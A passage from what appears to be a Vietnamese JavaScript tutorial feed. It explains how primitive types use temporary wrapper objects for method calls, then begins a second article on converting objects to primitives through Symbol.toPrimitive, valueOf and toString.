1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Phân biệt kiểu nguyên thủy và object</h2> <p>► <strong><a href="/kieu-du-lieu-trong-javascript/">Kiểu nguyên thủy</a>:</strong></p> <ul> <li>Có 7 kiểu dữ liệu nguyên thủy là: <strong>string, number, bigint, boolean, symbol, null và undefined</strong>.</li> <li>Chỉ lưu một giá trị nguyên thủy.</li> </ul> <p>► <strong><a href="/object-la-gi-object-trong-javascript/">Object</a>:</strong></p> <ul> <li>Là tập hợp của các cặp <strong>key-value</strong>.</li> <li>Có thể khởi tạo object bằng cặp dấu <code>{}</code>, ví dụ <code>{ x: 1, y: 2 }</code>.</li> <li>Một số loại object đặc biệt trong JavaScript như: <a href="/ham-la-gi-ham-trong-javascript/"><code>function</code></a>, <code>Date</code>, <a href="/ban-biet-gi-ve-set-trong-javascript/"><code>Set</code></a>, <a href="/map-trong-javascript-thi-sao/"><code>Map</code></a>,...</li> </ul> <p>Điều đặc biệt nhất của object là bạn có thể <strong>lưu hàm thành một thuộc tính</strong> trong object. Hàm đó gọi là <strong><a href="/phuong-thuc-object-va-this-trong-javascript/">phương thức</a></strong> của object, ví dụ:</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> p <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">x</span><span class="token operator">:</span> <span class="token number">1</span><span class="token punctuation">,</span> <span class="token literal-property property">y</span><span class="token operator">:</span> <span class="token number">2</span><span class="token punctuation">,</span> <span class="gatsby-highlight-code-line"> <span class="token function">displayLog</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span></span><span class="gatsby-highlight-code-line"> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">{x: </span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span><span class="token keyword">this</span><span class="token punctuation">.</span>x<span class="token interpolation-punctuation punctuation">}</span></span><span class="token string">, y: </span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span><span class="token keyword">this</span><span class="token punctuation">.</span>y<span class="token interpolation-punctuation punctuation">}</span></span><span class="token string">}</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">)</span><span class="token punctuation">;</span></span><span class="gatsby-highlight-code-line"> <span class="token punctuation">}</span><span class="token punctuation">,</span></span><span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="gatsby-highlight-code-line">p<span class="token punctuation">.</span><span class="token function">displayLog</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// {x: 1, y: 2}</span></span></code></pre></div> <p>Có nhiều object mặc định của JavaScript giúp bạn thao tác với ngày tháng, trình duyệt, xử lý lỗi,... Mỗi đối tượng có những thuộc tính và phương thức khác nhau.</p> <p>Điều này giúp việc lập trình trở nên dễ dàng hơn. Nhưng ngược lại, <strong>object tốn nhiều tài nguyên để lưu trữ hơn</strong>.</p> <p>Trên đây là sự khác nhau giữa kiểu nguyên thủy và object. Vậy <strong>sử dụng các phương thức của kiểu nguyên thủy</strong> nghĩa là thế nào?</p> <h2 id="các-phương-thức-của-kiểu-nguyên-thủy" style="position:relative;"><a href="#c%C3%A1c-ph%C6%B0%C6%A1ng-th%E1%BB%A9c-c%E1%BB%A7a-ki%E1%BB%83u-nguy%C3%AAn-th%E1%BB%A7y" aria-label="các phương thức của kiểu nguyên thủy permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Các phương thức của kiểu nguyên thủy</h2> <p>Một nghịch lý khi tạo ra JavaScript là:</p> <ul> <li>Có nhiều thứ cần làm với kiểu nguyên thủy - string và number. Nghĩa là cần có các phương thức để làm việc với kiểu nguyên thủy.</li> <li>Nhưng kiểu nguyên thủy phải <strong>đơn giản nhất có thể</strong> - nhẹ nhất và nhanh nhất.</li> </ul> <p>Để giải quyết vấn đề này, JavaScript thực hiện như sau:</p> <ul> <li>Kiểu nguyên thủy vẫn chỉ <strong>lưu một giá trị duy nhất</strong> mà <strong>không lưu trữ các phương thức</strong> nào khác.</li> <li>Khi gọi phương thức của kiểu nguyên thủy, thực chất là <a href="/javascript-la-gi/#javascript-engine-l%C3%A0-g%C3%AC">JavaScript engine</a> tự động tạo ra một "wrapper object" - đối tượng đóng gói. Object này chứa giá trị kiểu nguyên thủy và phương thức cần gọi. Sau khi gọi xong phương thức, "wrapper object" sẽ được giải phóng.</li> </ul> <p>Những "wrapper object" ứng với các kiểu dữ liệu nguyên thủy là: <code>Number</code>, <code>String</code>, <code>BigInt</code>, <code>Boolean</code>, <code>Symbol</code>. Những đối tượng này cung cấp các phương thức khác nhau để bạn làm việc với kiểu nguyên thủy.</p> <blockquote> <p>📝 <strong>Chú ý:</strong> Kiểu dữ liệu <code>null</code> và <code>undefined</code> không có "wrapper object".</p> </blockquote> <p>Ví dụ một phương thức của string là <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/toUpperCase"><code>str.toUpperCase()</code></a>. Phương thức này trả về giá trị string với <strong>các kí tự đều viết hoa</strong>.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> name <span class="token operator">=</span> <span class="token string">"Alex"</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>name<span class="token punctuation">.</span><span class="token function">toUpperCase</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// ALEX</span></code></pre></div> <p>Quá trình xử lý hiểu đơn giản là:</p> <ul> <li>Ban đầu khởi tạo biến <code>name</code> với giá trị kiểu string.</li> <li>Khi gọi <code>name.toUpperCase()</code>, JavaScript tạo một "wrapper object" chứa giá trị của <code>name</code> và phương thức <code>toUpperCase</code>.</li> <li>Phương thức <code>toUpperCase()</code> gọi xong trả về giá trị string mới (với tất cả các chữ cái được viết hoa), rồi hiển thị ra console.</li> <li>Sau đó, "wrapper object" được giải phóng, lúc này chỉ còn biến <code>name</code> - kiểu nguyên thủy.</li> </ul> <p>Đó là cách gọi phương thức của kiểu nguyên thủy mà vẫn đảm bảo kiểu nguyên thủy đơn giản và nhẹ nhất có thể.</p> <h2 id="một-số-chú-ý-về-các-wrapper-object" style="position:relative;"><a href="#m%E1%BB%99t-s%E1%BB%91-ch%C3%BA-%C3%BD-v%E1%BB%81-c%C3%A1c-wrapper-object" aria-label="một số chú ý về các wrapper object permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Một số chú ý về các "wrapper object"</h2> <p>Các hàm khởi tạo <code>Number</code>, <code>String</code> và <code>Boolean</code> được JavaScript Engine sử dụng nội bộ.</p> <p>Bạn có thể chủ động sử dụng các hàm khởi tạo này với <a href="/khoi-tao-object-new-trong-javascript/">toán tử <code>new</code></a> để tạo ra "wrapper object". Nhưng thực tế là bạn <strong>không nên</strong>, vì có nhiều trường hợp gây khó hiểu.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> zero <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token keyword">typeof</span> zero<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// number</span> <span class="token keyword">let</span> objZero <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Number</span><span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token keyword">typeof</span> objZero<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// object</span></code></pre></div> <p>Bạn thấy rằng, <code>0</code> là kiểu <strong>number</strong> nhưng <code>new Number(0)</code> lại là kiểu <strong>object</strong>. Mà object thì luôn là <strong><a href="/toan-tu-logic-trong-javascript/#truthy-v%C3%A0-falsy-trong-javascript-l%C3%A0-g%C3%AC">truthy</a></strong>.</p> <p>Ví dụ sử dụng <code>new Number(0)</code> với <a href="/cau-truc-re-nhanh-trong-javascript/">câu lệnh <code>if</code></a>:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> objZero <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Number</span><span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>objZero<span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"zero là truthy!"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// zero là truthy!</span> <span class="token punctuation">}</span></code></pre></div> <p>Điều này đôi khi khá khó hiểu và dễ gây nhầm lẫn.</p> <p>Vì vậy, lời khuyên là bạn không nên dùng <code>Number()</code>, <code>String()</code> hay <code>Boolean()</code> với toán <code>new</code> để khởi tạo.</p> <p><strong>Nhưng nếu sử dụng các hàm này mà không dùng toán tử <code>new</code> thì sao?</strong></p> <p>Việc không sử dụng toán tử <code>new</code> với các hàm trên lại khá hữu ích. Chúng sẽ <a href="/chuyen-doi-kieu-du-lieu-trong-javascript/">chuyển đổi kiểu dữ liệu</a> về kiểu nguyên thủy tương ứng.</p> <p>Ví dụ sử dụng hàm <code>Number()</code> để chuyển đổi kiểu dữ liệu về number:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> num <span class="token operator">=</span> <span class="token function">Number</span><span class="token punctuation">(</span><span class="token string">"123"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>num<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 123</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token keyword">typeof</span> num<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// number</span></code></pre></div> <blockquote> <p>📝 <strong>Chú ý:</strong> Không gọi được phương thức ứng với kiểu <code>null</code> và <code>undefined</code>.</p> </blockquote> <p>Ví dụ gọi phương thức của <code>null</code> và <code>undefined</code> đều bị lỗi như sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token keyword">null</span><span class="token punctuation">.</span><span class="token function">toUpperCase</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Uncaught TypeError:</span> <span class="token comment">// Cannot read properties of null (reading 'toUpperCase')</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token keyword">undefined</span><span class="token punctuation">.</span><span class="token function">toUpperCase</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Uncaught TypeError:</span> <span class="token comment">// Cannot read properties of undefined (reading 'toUpperCase')</span></code></pre></div> <h2 id="tổng-kết" style="position:relative;"><a href="#t%E1%BB%95ng-k%E1%BA%BFt" aria-label="tổng kết permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Tổng kết</h2> <p>Có thể gọi phương thức của kiểu nguyên thủy (trừ <code>null</code> và <code>undefined</code>).</p> <p>Cơ chế hoạt động là: JavaScript tạo ra một "wrapper object" chứa giá trị nguyên thủy và phương thức sử dụng. Sau khi phương thức gọi xong thì "wrapper object" được giải phóng.</p> <p>Các bài viết sau mình sẽ đi vào chi tiết các phương thức hữu ích của: <code>Number()</code> và <code>String()</code>.</p> <h2 id="thực-hành" style="position:relative;"><a href="#th%E1%BB%B1c-h%C3%A0nh" aria-label="thực hành permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Thực hành</h2> <p>Cho đoạn code sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> str <span class="token operator">=</span> <span class="token string">"Hello"</span><span class="token punctuation">;</span> str<span class="token punctuation">.</span>prop <span class="token operator">=</span> <span class="token number">1</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>str<span class="token punctuation">.</span>prop<span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Kết quả hiển thị là gì?</p> <div class="wrap-collapsible margin-bottom"> <input id="collapsible1" class="toggle" type="checkbox"> <label for="collapsible1" class="lbl-toggle">Xem đáp án</label> <div class="collapsible-content"> <div class="content-inner"> <p>Kết quả là: <code>undefined</code>.</p> <p>Giải thích:</p> <ul> <li>Khi gọi <code>str.prop = 1</code>, JavaScript tạo ra một "wrapper object" chứa giá trị <code>str</code> và thuộc tính mới thêm vào <code>prop</code>.</li> <li>Nhưng sau câu lệnh đó, "wrapper object" bị hủy và chỉ còn lại giá trị nguyên thủy <code>str</code>.</li> <li>Vì vậy, kết quả là <code>undefined</code>.</li> </ul> <p><strong>Chú ý:</strong></p> <p>Nếu sử dụng <a href="/use-strict-trong-js/">strict mode</a> thì bạn sẽ bị lỗi <strong>Uncaught TypeError: Cannot create property 'prop' on string 'Hello'</strong></p> </div> </div> </div> <p>Tham khảo: <a href="https://javascript.info/primitives-methods">Methods of primitives</a>.</p>[email protected]<![CDATA[Chuyển đổi object về kiểu nguyên thủy]]><![CDATA[Trong bài viết chuyển đổi kiểu dữ liệu, mình đã giới thiệu về cách chuyển đổi các kiểu dữ liệu nguyên thủy sang number và string. Nhưng nếu toán hạng không phải kiểu dữ liệu nguyên…]]>https://completejavascript.com/chuyen-object-ve-kieu-nguyen-thuy/https://completejavascript.com/chuyen-object-ve-kieu-nguyen-thuy/<![CDATA[Object]]><![CDATA[Kiểu dữ liệu]]>Tue, 23 May 2017 07:00:00 GMT<p>Trong bài viết <a href="/chuyen-doi-kieu-du-lieu-trong-javascript/">chuyển đổi kiểu dữ liệu</a>, mình đã giới thiệu về cách chuyển đổi các kiểu dữ liệu nguyên thủy sang <strong>number</strong> và <strong>string</strong>.</p> <p>Nhưng nếu toán hạng <strong>không phải kiểu dữ liệu nguyên thủy mà là object</strong> thì sao? Hay làm sao để chuyển đổi object về kiểu dữ liệu nguyên thủy?</p> <p>Sau đây là những kiến thức cơ bản bạn cần biết.</p> <h2 id="quy-luật-chuyển-đổi-object-về-kiểu-nguyên-thủy" style="position:relative;"><a href="#quy-lu%E1%BA%ADt-chuy%E1%BB%83n-%C4%91%E1%BB%95i-object-v%E1%BB%81-ki%E1%BB%83u-nguy%C3%AAn-th%E1%BB%A7y" aria-label="quy luật chuyển đổi object về kiểu nguyên thủy permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Quy luật chuyển đổi object về kiểu nguyên thủy</h2> <p>Có ba kiểu dữ liệu nguyên thủy bạn cần quan tâm là: <strong>string, number và boolean</strong>.</p> <p>Khi chuyển đổi object về boolean thì kết quả luôn là <code>true</code>.</p> <p>Ví dụ sử dụng object với <a href="/cau-truc-re-nhanh-trong-javascript/">câu lệnh <code>if</code></a>:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> obj <span class="token operator">=</span> <span class="token punctuation">{</span><span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>obj<span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"obj is true"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// obj is true</span> <span class="token punctuation">}</span></code></pre></div> <p>Hoặc chủ động convert sang kiểu boolean sử dụng <code>Boolean()</code>:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> obj <span class="token operator">=</span> <span class="token punctuation">{</span><span class="token punctuation">}</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token function">Boolean</span><span class="token punctuation">(</span>obj<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span></code></pre></div> <blockquote> <p>Với kiểu dữ liệu boolean là như vậy, đối với <strong>string</strong> và <strong>number</strong> thì sao?</p> </blockquote> <p>JavaScript có <strong>ba kiểu chuyển đổi</strong>, ứng với giá trị ngầm định của "hint" là: <code>string</code>, <code>number</code> hoặc <code>default</code>.</p> <p>► Trong những ngữ cảnh cần <strong>string</strong> thì giá trị của "hint" là <code>string</code>. Ví dụ sử dụng object trong hàm <a href="/ham-tuong-tac-nguoi-dung-alert-confirm-prompt/"><code>alert</code></a> hoặc làm thuộc tính của object khác,... JavaScript sẽ chuyển đổi object về dạng string:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> obj <span class="token operator">=</span> <span class="token punctuation">{</span><span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token comment">// sử dụng trong hàm alert()</span> <span class="token function">alert</span><span class="token punctuation">(</span>obj<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// kết quả hiển thị trên dialog là: [object Object]</span> <span class="token comment">// sử dụng làm thuộc tính của object khác</span> <span class="token keyword">let</span> anotherObj <span class="token operator">=</span> <span class="token punctuation">{</span><span class="token punctuation">}</span><span class="token punctuation">;</span> anotherObj<span class="token punctuation">[</span>obj<span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token number">1</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>anotherObj<span class="token punctuation">[</span><span class="token string">"[object Object]"</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 1</span></code></pre></div> <p>Đối tượng <code>obj</code> đã được chuyển đổi sang string, trở thành <code>[object Object]</code>.</p> <p>► Trong những ngữ cảnh cần <strong>number</strong>, giá trị của "hint" là <code>number</code>. Ví dụ thực hiện các phép toán số học, so sánh,... JavaScript chuyển đổi object về dạng number:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> obj <span class="token operator">=</span> <span class="token punctuation">{</span><span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token comment">// chủ động convert sang number</span> <span class="token keyword">let</span> num <span class="token operator">=</span> <span class="token function">Number</span><span class="token punctuation">(</span>obj<span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>num<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// NaN</span> <span class="token comment">// sử dụng toán tử một ngôi +</span> <span class="token keyword">let</span> n <span class="token operator">=</span> <span class="token operator">+</span>obj<span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>num<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// NaN</span> <span class="token comment">// trừ date</span> <span class="token keyword">let</span> date1 <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Date</span><span class="token punctuation">(</span><span class="token string">"December 01, 2021 00:00:00"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">let</span> date2 <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Date</span><span class="token punctuation">(</span><span class="token string">"December 02, 2021 00:00:00"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">let</span> delta <span class="token operator">=</span> date2 <span class="token operator">-</span> date1<span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>delta<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 86400000 - giá trị miliseconds của 1 ngày</span> <span class="token comment">// so sánh</span> <span class="token keyword">let</span> p1 <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">x</span><span class="token operator">:</span> <span class="token number">1</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token keyword">let</span> p2 <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">x</span><span class="token operator">:</span> <span class="token number">2</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token keyword">let</span> greater <span class="token operator">=</span> p2 <span class="token operator">></span> p1<span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>greater<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false</span></code></pre></div> <p>► Trong những trường hợp <strong>không chắc chắn</strong>, ví dụ cộng hai object với toán tử <code>+</code>, so sánh bằng không nghiêm ngặt <code>==</code>,...</p> <p>JavaScript "không biết" nên chuyển object về kiểu dữ liệu nào, vì các toán tử này áp dụng được với cả <strong>number và string</strong>.</p> <p>Khi đó, JavaScript sẽ xử lý theo <strong>quy luật mặc định</strong>.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token comment">// sử dụng toán tử +</span> <span class="token keyword">let</span> total <span class="token operator">=</span> obj1 <span class="token operator">+</span> obj2<span class="token punctuation">;</span> <span class="token comment">// so sánh == với number</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>user <span class="token operator">==</span> <span class="token number">1</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token comment">// do something</span> <span class="token punctuation">}</span></code></pre></div> <p><strong>Để chuyển đổi object về kiểu nguyên thủy, JavaScript sẽ tìm và gọi ba phương thức trong object:</strong></p> <ol> <li>Gọi phương thức <code>obj[Symbol.toPrimitive](hint)</code> nếu tồn tại - với <code>Symbol.toPrimitive</code> là giá trị <a href="/tim-hieu-ve-symbol-trong-javascript/">symbol</a> của hệ thống.</li> <li>Trường hợp không tồn tại phương thức trên, nếu "hint" là <code>string</code>: ưu tiên gọi <code>obj.toString()</code> rồi đến <code>obj.valueOf()</code> (bất kể phương thức nào tồn tại).</li> <li>Trường hợp "hint" là <code>number</code> hoặc <code>default</code>: ưu tiên gọi <code>obj.valueOf()</code> rồi đến <code>obj.toString()</code> (bất kể phương thức nào tồn tại).</li> </ol> <h2 id="chi-tiết-về-symboltoprimitive" style="position:relative;"><a href="#chi-ti%E1%BA%BFt-v%E1%BB%81-symboltoprimitive" aria-label="chi tiết về symboltoprimitive permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Chi tiết về <code>Symbol.toPrimitive</code></h2> <p><code>Symbol.toPrimitive</code> là một giá trị <strong>symbol mặc định của hệ thống</strong> và thường được sử dụng như sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> obj <span class="token operator">=</span> <span class="token punctuation">{</span><span class="token punctuation">}</span><span class="token punctuation">;</span> obj<span class="token punctuation">[</span>Symbol<span class="token punctuation">.</span>toPrimitive<span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token parameter">hint</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token comment">// Code trong này dùng để chuyển đổi object về kiểu nguyên thủy.</span> <span class="token comment">// Vì vậy, hàm này phải return về kiểu kiểu nguyên thủy.</span> <span class="token comment">// Giá trị của hint có thể là: string, number hoặc default.</span> <span class="token punctuation">}</span><span class="token punctuation">;</span></code></pre></div> <p>Khi chuyển đổi object về kiểu nguyên thủy, JavaScript kiểm tra <code>Symbol.toPrimitive</code> đầu tiên và gọi phương thức <code>obj[Symbol.toPrimitive](hint)</code> với "hint" là một trong các giá trị <strong>string, number hoặc default</strong>, ví dụ:</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> user <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">name</span><span class="token operator">:</span> <span class="token string">"Alex"</span><span class="token punctuation">,</span> <span class="token literal-property property">age</span><span class="token operator">:</span> <span class="token number">28</span><span class="token punctuation">,</span> <span class="token comment">// sử dụng cú pháp rút gọn khai báo phương thức</span> <span class="gatsby-highlight-code-line"> <span class="token punctuation">[</span>Symbol<span class="token punctuation">.</span>toPrimitive<span class="token punctuation">]</span><span class="token punctuation">(</span><span class="token parameter">hint</span><span class="token punctuation">)</span> <span class="token punctuation">{</span></span><span class="gatsby-highlight-code-line"> <span class="token keyword">return</span> hint <span class="token operator">===</span> <span class="token string">"string"</span> <span class="token operator">?</span> <span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">{name: </span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span><span class="token keyword">this</span><span class="token punctuation">.</span>name<span class="token interpolation-punctuation punctuation">}</span></span><span class="token string">}</span><span class="token template-punctuation string">`</span></span> <span class="token operator">:</span> <span class="token keyword">this</span><span class="token punctuation">.</span>age<span class="token punctuation">;</span></span><span class="gatsby-highlight-code-line"> <span class="token punctuation">}</span><span class="token punctuation">,</span></span><span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token comment">// hint là string</span> <span class="token function">alert</span><span class="token punctuation">(</span>user<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// {name: Alex}</span> <span class="token comment">// hint là number</span> <span class="token function">alert</span><span class="token 